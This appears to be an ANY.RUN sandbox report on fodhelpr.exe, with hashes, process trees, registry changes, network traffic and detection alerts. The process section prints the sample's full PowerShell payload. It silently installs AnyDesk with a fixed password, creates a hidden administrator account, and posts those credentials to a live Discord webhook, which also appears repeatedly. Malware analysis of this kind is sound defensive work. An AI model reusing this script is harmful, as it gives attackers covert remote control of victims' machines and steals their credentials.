File name:

fodhelpr.exe

Full analysis: https://app.any.run/tasks/f4297671-61d9-4047-ad38-2d2f1e3c502a
Verdict: Malicious activity
Threats:

Adware is a form of malware that targets users with unwanted advertisements, often disrupting their browsing experience. It typically infiltrates systems through software bundling, malicious websites, or deceptive downloads. Once installed, it may track user activity, collect sensitive data, and display intrusive ads, including pop-ups or banners. Some advanced adware variants can bypass security measures and establish persistence on devices, making removal challenging. Additionally, adware can create vulnerabilities that other malware can exploit, posing a significant risk to user privacy and system security.

Malware Trends Tracker     >>>
Analysis date: October 06, 2024, 19:50:57
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
ims-api
generic
loader
adware
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:

931A2FA248B0A97D73B915D08CFD864E

SHA1:

68C0BCF76A7258B6CB51E5B76D0BFAF69BD294F4

SHA256:

56E2D157F482EC1DD9BB3E029D5BEF7EF0C8FDF8BF2D4590C50183D6E0B52B5D

SSDEEP:

192:B75UvbOKrsoYxcc85mZY4LuIck/arVvYvLtnZ:R5UvbOmsJV85mZYMuY/0VvELtn

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 4284)
      • powershell.exe (PID: 5212)

    • Changes powershell execution policy (Bypass)

      • fodhelpr.exe (PID: 3396)
      • fodhelpr.exe (PID: 4920)

    • ADWARE has been detected (SURICATA)

      • AnyDesk.exe (PID: 3852)
      • AnyDesk.exe (PID: 4600)

  • SUSPICIOUS

    • Request a resource from the Internet using PowerShell's cmdlet

      • fodhelpr.exe (PID: 3396)
      • fodhelpr.exe (PID: 4920)

    • Probably obfuscated PowerShell command line is found

      • fodhelpr.exe (PID: 3396)
      • fodhelpr.exe (PID: 4920)

    • Downloads file from URI

      • powershell.exe (PID: 4284)
      • powershell.exe (PID: 5212)

    • Starts POWERSHELL.EXE for commands execution

      • fodhelpr.exe (PID: 3396)
      • fodhelpr.exe (PID: 4920)

    • Powershell scripting: start process

      • fodhelpr.exe (PID: 3396)
      • fodhelpr.exe (PID: 4920)

    • Possible usage of Discord/Telegram API has been detected (YARA)

      • fodhelpr.exe (PID: 3396)
      • powershell.exe (PID: 4284)
      • fodhelpr.exe (PID: 4920)
      • powershell.exe (PID: 5212)

    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 4284)
      • AnyDesk.exe (PID: 3852)
      • powershell.exe (PID: 5212)
      • AnyDesk.exe (PID: 4600)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 4284)
      • AnyDesk.exe (PID: 4600)
      • AnyDesk.exe (PID: 3852)

    • Application launched itself

      • AnyDesk.exe (PID: 2776)
      • AnyDesk.exe (PID: 4820)
      • AnyDesk.exe (PID: 4756)
      • AnyDesk.exe (PID: 1156)

    • Process requests binary or script from the Internet

      • powershell.exe (PID: 4284)
      • powershell.exe (PID: 5212)

    • Access to an unwanted program domain was detected

      • AnyDesk.exe (PID: 3852)
      • AnyDesk.exe (PID: 4600)

  • INFO

    • Reads the computer name

      • fodhelpr.exe (PID: 3396)

    • Checks supported languages

      • fodhelpr.exe (PID: 3396)

    • Changes the registry key values via Powershell

      • fodhelpr.exe (PID: 3396)
      • fodhelpr.exe (PID: 4920)

    • Reads the software policy settings

      • powershell.exe (PID: 4284)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 4284)

    • Create files in a temporary directory

      • powershell.exe (PID: 4284)

    • Creates files in the program directory

      • powershell.exe (PID: 4284)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 4284)

    • Gets or sets the time when the file was last written to (POWERSHELL)

      • powershell.exe (PID: 4284)

    • Disables trace logs

      • powershell.exe (PID: 4284)

    • Checks proxy server information

      • powershell.exe (PID: 4284)

    • The process uses the downloaded file

      • powershell.exe (PID: 4284)

    • Manual execution by a user

      • fodhelpr.exe (PID: 4920)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

ims-api

(PID) Process(3396) fodhelpr.exe
Discord-Webhook-Tokens (1)1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
Discord-Info-Links
1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
Get Webhook Infohttps://discord.com/api/webhooks/1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
(PID) Process(4284) powershell.exe
Discord-Webhook-Tokens (1)1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
Discord-Info-Links
1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
Get Webhook Infohttps://discord.com/api/webhooks/1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
(PID) Process(4920) fodhelpr.exe
Discord-Webhook-Tokens (1)1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
Discord-Info-Links
1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
Get Webhook Infohttps://discord.com/api/webhooks/1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
(PID) Process(5212) powershell.exe
Discord-Webhook-Tokens (1)1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
Discord-Info-Links
1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
Get Webhook Infohttps://discord.com/api/webhooks/1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (82.9)
.dll | Win32 Dynamic Link Library (generic) (7.4)
.exe | Win32 Executable (generic) (5.1)
.exe | Generic Win/DOS Executable (2.2)
.exe | DOS Executable Generic (2.2)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2085:03:03 06:58:40+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32
LinkerVersion: 48
CodeSize: 10752
InitializedDataSize: 2048
UninitializedDataSize: -
EntryPoint: 0x490a
OSVersion: 4
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows command line
FileVersionNumber: 1.0.0.0
ProductVersionNumber: 1.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
Comments: -
CompanyName: -
FileDescription: fodhelpr
FileVersion: 1.0.0.0
InternalName: fodhelpr.exe
LegalCopyright: Copyright © 2024
LegalTrademarks: -
OriginalFileName: fodhelpr.exe
ProductName: fodhelpr
ProductVersion: 1.0.0.0
AssemblyVersion: 1.0.0.0
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
152
Monitored processes
20
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start THREAT fodhelpr.exe no specs conhost.exe no specs THREAT powershell.exe conhost.exe no specs anydesk.exe no specs anydesk.exe anydesk.exe no specs anydesk.exe no specs #ADWARE anydesk.exe anydesk.exe no specs THREAT fodhelpr.exe no specs conhost.exe no specs THREAT powershell.exe conhost.exe no specs anydesk.exe no specs anydesk.exe anydesk.exe no specs anydesk.exe no specs #ADWARE anydesk.exe anydesk.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
696"C:\ProgramData\AnyDesk\AnyDesk.exe" --local-controlC:\ProgramData\AnyDesk\AnyDesk.exe—AnyDesk.exe
User:
admin
Company:
AnyDesk Software GmbH
Integrity Level:
MEDIUM
Description:
AnyDesk
Exit code:
0
Version:
8.1.0
Modules
Images
c:\programdata\anydesk\anydesk.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\winmm.dll
c:\windows\syswow64\msvcrt.dll
1156"C:\ProgramData\AnyDesk\AnyDesk.exe" --install $InstallPath --start-with-win --silent C:\ProgramData\AnyDesk\AnyDesk.exe—powershell.exe
User:
admin
Company:
AnyDesk Software GmbH
Integrity Level:
MEDIUM
Description:
AnyDesk
Exit code:
11341829
Version:
8.1.0
Modules
Images
c:\programdata\anydesk\anydesk.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\winmm.dll
c:\windows\syswow64\msvcrt.dll
2352"C:\ProgramData\AnyDesk\AnyDesk.exe" --local-controlC:\ProgramData\AnyDesk\AnyDesk.exe—AnyDesk.exe
User:
admin
Company:
AnyDesk Software GmbH
Integrity Level:
MEDIUM
Description:
AnyDesk
Version:
8.1.0
Modules
Images
c:\programdata\anydesk\anydesk.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\winmm.dll
c:\windows\syswow64\msvcrt.dll
2776"C:\ProgramData\AnyDesk\AnyDesk.exe" --install $InstallPath --start-with-win --silent C:\ProgramData\AnyDesk\AnyDesk.exe—powershell.exe
User:
admin
Company:
AnyDesk Software GmbH
Integrity Level:
MEDIUM
Description:
AnyDesk
Exit code:
11341829
Version:
8.1.0
Modules
Images
c:\programdata\anydesk\anydesk.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\winmm.dll
c:\windows\syswow64\msvcrt.dll
3396"C:\Users\admin\AppData\Local\Temp\fodhelpr.exe" C:\Users\admin\AppData\Local\Temp\fodhelpr.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Description:
fodhelpr
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\fodhelpr.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
ims-api
(PID) Process(3396) fodhelpr.exe
Discord-Webhook-Tokens (1)1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
Discord-Info-Links
1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
Get Webhook Infohttps://discord.com/api/webhooks/1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
3852"C:\ProgramData\AnyDesk\AnyDesk.exe" --local-serviceC:\ProgramData\AnyDesk\AnyDesk.exe
AnyDesk.exe
User:
admin
Company:
AnyDesk Software GmbH
Integrity Level:
MEDIUM
Description:
AnyDesk
Exit code:
0
Version:
8.1.0
Modules
Images
c:\programdata\anydesk\anydesk.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\winmm.dll
c:\windows\syswow64\msvcrt.dll
4208"C:\ProgramData\AnyDesk\AnyDesk.exe" --local-controlC:\ProgramData\AnyDesk\AnyDesk.exe—AnyDesk.exe
User:
admin
Company:
AnyDesk Software GmbH
Integrity Level:
MEDIUM
Description:
AnyDesk
Exit code:
0
Version:
8.1.0
Modules
Images
c:\programdata\anydesk\anydesk.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\winmm.dll
c:\windows\syswow64\msvcrt.dll
4284"powershell.exe" -ExecutionPolicy Bypass -Command " function Install-AnyDesk { param ( [string]$InstallPath = 'C:\ProgramData\AnyDesk', [string]$AnyDeskUrl = 'http://download.anydesk.com/AnyDesk.exe', [string]$Password = 'J9kzQ2Y0qO', [string]$AdminUsername = 'oldadministrator', [string]$AdminPassword = 'jsbehsid#Zyw4E3', [string]$WebhookUrl = 'https://discord.com/api/webhooks/1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ' ) try { if (-not (Test-Path -Path $InstallPath -PathType Container)) { New-Item -Path $InstallPath -ItemType Directory } Invoke-WebRequest -Uri $AnyDeskUrl -OutFile (Join-Path -Path $InstallPath -ChildPath 'AnyDesk.exe') Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath 'AnyDesk.exe') -ArgumentList '--install $InstallPath --start-with-win --silent' -Wait Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath 'AnyDesk.exe') -ArgumentList '--set-password=$Password' -Wait New-LocalUser -Name $AdminUsername -Password (ConvertTo-SecureString -String $AdminPassword -AsPlainText -Force) Add-LocalGroupMember -Group 'Administrators' -Member $AdminUsername Set-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist' -Name $AdminUsername -Value 0 -Type DWORD -Force $AnyDeskID = Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath 'AnyDesk.exe') -ArgumentList '--get-id' -Wait Send-Webhook -AdminUsername $AdminUsername -AdminPassword $AdminPassword -UserPassword $Password -AnyDeskID $AnyDeskID -WebhookUrl $WebhookUrl Write-Host 'Installation completed successfully.' } catch { Write-Host 'Error: $_' Write-Host 'Installation failed.' } } function Send-Webhook { param ( [string]$AdminUsername, [string]$AdminPassword, [string]$UserPassword, [string]$AnyDeskID, [string]$WebhookUrl ) $embedObject = @{ 'embeds' = @( @{ 'title' = 'AnyDesk Installation Details' 'color' = 16711680 'fields' = @( @{ 'name' = 'Admin Username' 'value' = $AdminUsername 'inline' = $false }, @{ 'name' = 'Admin Password' 'value' = $AdminPassword 'inline' = $false }, @{ 'name' = 'User Password' 'value' = $UserPassword 'inline' = $false }, @{ 'name' = 'AnyDesk ID' 'value' = $AnyDeskID 'inline' = $false } ) } ) } $jsonPayload = $embedObject | ConvertTo-Json -Depth 4 Invoke-RestMethod -Uri $WebhookUrl -Method Post -ContentType 'application/json' -Body $jsonPayload } Install-AnyDesk "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
fodhelpr.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
ims-api
(PID) Process(4284) powershell.exe
Discord-Webhook-Tokens (1)1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
Discord-Info-Links
1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
Get Webhook Infohttps://discord.com/api/webhooks/1286086306090450984/gxdcSjo9iSxMcnP4Gp6bFrlr5A7nXwEy9UO86yncDnykrdmlkQeZrVaaflsO_yj_8kQQ
4600"C:\ProgramData\AnyDesk\AnyDesk.exe" --local-serviceC:\ProgramData\AnyDesk\AnyDesk.exe
AnyDesk.exe
User:
admin
Company:
AnyDesk Software GmbH
Integrity Level:
MEDIUM
Description:
AnyDesk
Version:
8.1.0
Modules
Images
c:\programdata\anydesk\anydesk.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\winmm.dll
c:\windows\syswow64\msvcrt.dll
4756"C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password=$Password C:\ProgramData\AnyDesk\AnyDesk.exe—powershell.exe
User:
admin
Company:
AnyDesk Software GmbH
Integrity Level:
MEDIUM
Description:
AnyDesk
Version:
8.1.0
Modules
Images
c:\programdata\anydesk\anydesk.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\winmm.dll
c:\windows\syswow64\msvcrt.dll
Total events
15 233
Read events
15 219
Write events
14
Delete events
0

Modification events

(PID) Process:(4284) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(4284) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(4284) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(4284) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(4284) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(4284) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(4284) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(4284) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(4284) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(4284) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
4
Suspicious files
14
Text files
12
Unknown types
0

Dropped files

PID
Process
Filename
Type
4284powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0k1oia3x.w0q.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4820AnyDesk.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SNIT2EISXPKBHN1IJI7P.tempbinary
MD5:D3C6E18983C204FF38FD2EC2497B8BE4
SHA256:BB707A9F1BCEBC2BA5526AC1E13EE5B712B7A75892A21470168BA8D688906E5F
4284powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:8E7D26D71A1CAF822C338431F0651251
SHA256:495E7C4588626236C39124CCE568968E874BEDA950319BA391665B43DE111084
4284powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dxiyp5qq.bff.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2776AnyDesk.exeC:\Users\admin\AppData\Roaming\AnyDesk\user.conftext
MD5:A787C308BD30D6D844E711D7579BE552
SHA256:8A395011A6A877D3BDD53CC8688EF146160DAB9D42140EB4A70716AD4293A440
5964AnyDesk.exeC:\Users\admin\AppData\Roaming\AnyDesk\global_cache\device-id.cachebinary
MD5:F4A726047AD2BE4EC922C9C4E7DDB656
SHA256:62B983EC7AE992FA9DBAC4B932BEBBE23FC8045170C95E7DD908C708B1B5ECB6
2776AnyDesk.exeC:\Users\admin\AppData\Roaming\AnyDesk\ad.tracetext
MD5:AE70987AE997B5EFAC34F5373441E966
SHA256:D9FA6451A03CE6A8D44E44CAC0E102ABAFDFA19B76EA07275E971018D3A3429C
3852AnyDesk.exeC:\Users\admin\AppData\Local\Temp\gcapi.dllexecutable
MD5:1CE7D5A1566C8C449D0F6772A8C27900
SHA256:73170761D6776C0DEBACFBBC61B6988CB8270A20174BF5C049768A264BB8FFAF
4284powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_bgogrtqm.ku4.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4820AnyDesk.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\75fdacd8330bac18.customDestinations-msbinary
MD5:D3C6E18983C204FF38FD2EC2497B8BE4
SHA256:BB707A9F1BCEBC2BA5526AC1E13EE5B712B7A75892A21470168BA8D688906E5F
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
56
DNS requests
22
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4284
powershell.exe
GET
200
188.40.104.135:80
http://download.anydesk.com/AnyDesk.exe
unknown
—
—
whitelisted
2120
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5212
powershell.exe
GET
200
159.69.19.197:80
http://download.anydesk.com/AnyDesk.exe
unknown
—
—
whitelisted
6632
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6632
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
3852
AnyDesk.exe
POST
200
52.85.65.56:80
http://api.playanext.com/httpapi
unknown
—
—
whitelisted
4600
AnyDesk.exe
POST
200
18.245.86.79:80
http://api.playanext.com/httpapi
unknown
—
—
whitelisted
6652
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
2064
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
2280
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2120
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
3888
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
4324
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4284
powershell.exe
188.40.104.135:80
download.anydesk.com
Hetzner Online GmbH
DE
whitelisted
2064
svchost.exe
20.190.160.17:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3260
svchost.exe
40.113.103.199:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
google.com
  • 142.250.184.238
whitelisted
download.anydesk.com
  • 188.40.104.135
  • 159.69.19.197
whitelisted
login.live.com
  • 20.190.160.17
  • 40.126.32.74
  • 40.126.32.133
  • 40.126.32.136
  • 20.190.160.22
  • 40.126.32.76
  • 20.190.160.20
  • 40.126.32.140
whitelisted
client.wns.windows.com
  • 40.113.103.199
  • 40.115.3.253
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
go.microsoft.com
  • 23.35.238.131
whitelisted
boot.net.anydesk.com
  • 212.102.60.111
whitelisted
relay-9e3bbafe.net.anydesk.com
  • 208.115.231.14
whitelisted

Threats

PID
Process
Class
Message
4284
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
4284
powershell.exe
Misc activity
ET INFO Request for EXE via Powershell
4284
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
4284
powershell.exe
Misc activity
ET INFO Packed Executable Download
3852
AnyDesk.exe
Potential Corporate Privacy Violation
ET USER_AGENTS AnyDesk Remote Desktop Software User-Agent
3852
AnyDesk.exe
Possibly Unwanted Program Detected
ADWARE [ANY.RUN] Driver Updater Setup Process
5212
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
5212
powershell.exe
Misc activity
ET INFO Request for EXE via Powershell
5212
powershell.exe
Misc activity
ET INFO Packed Executable Download
5212
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
fodhelpr.exe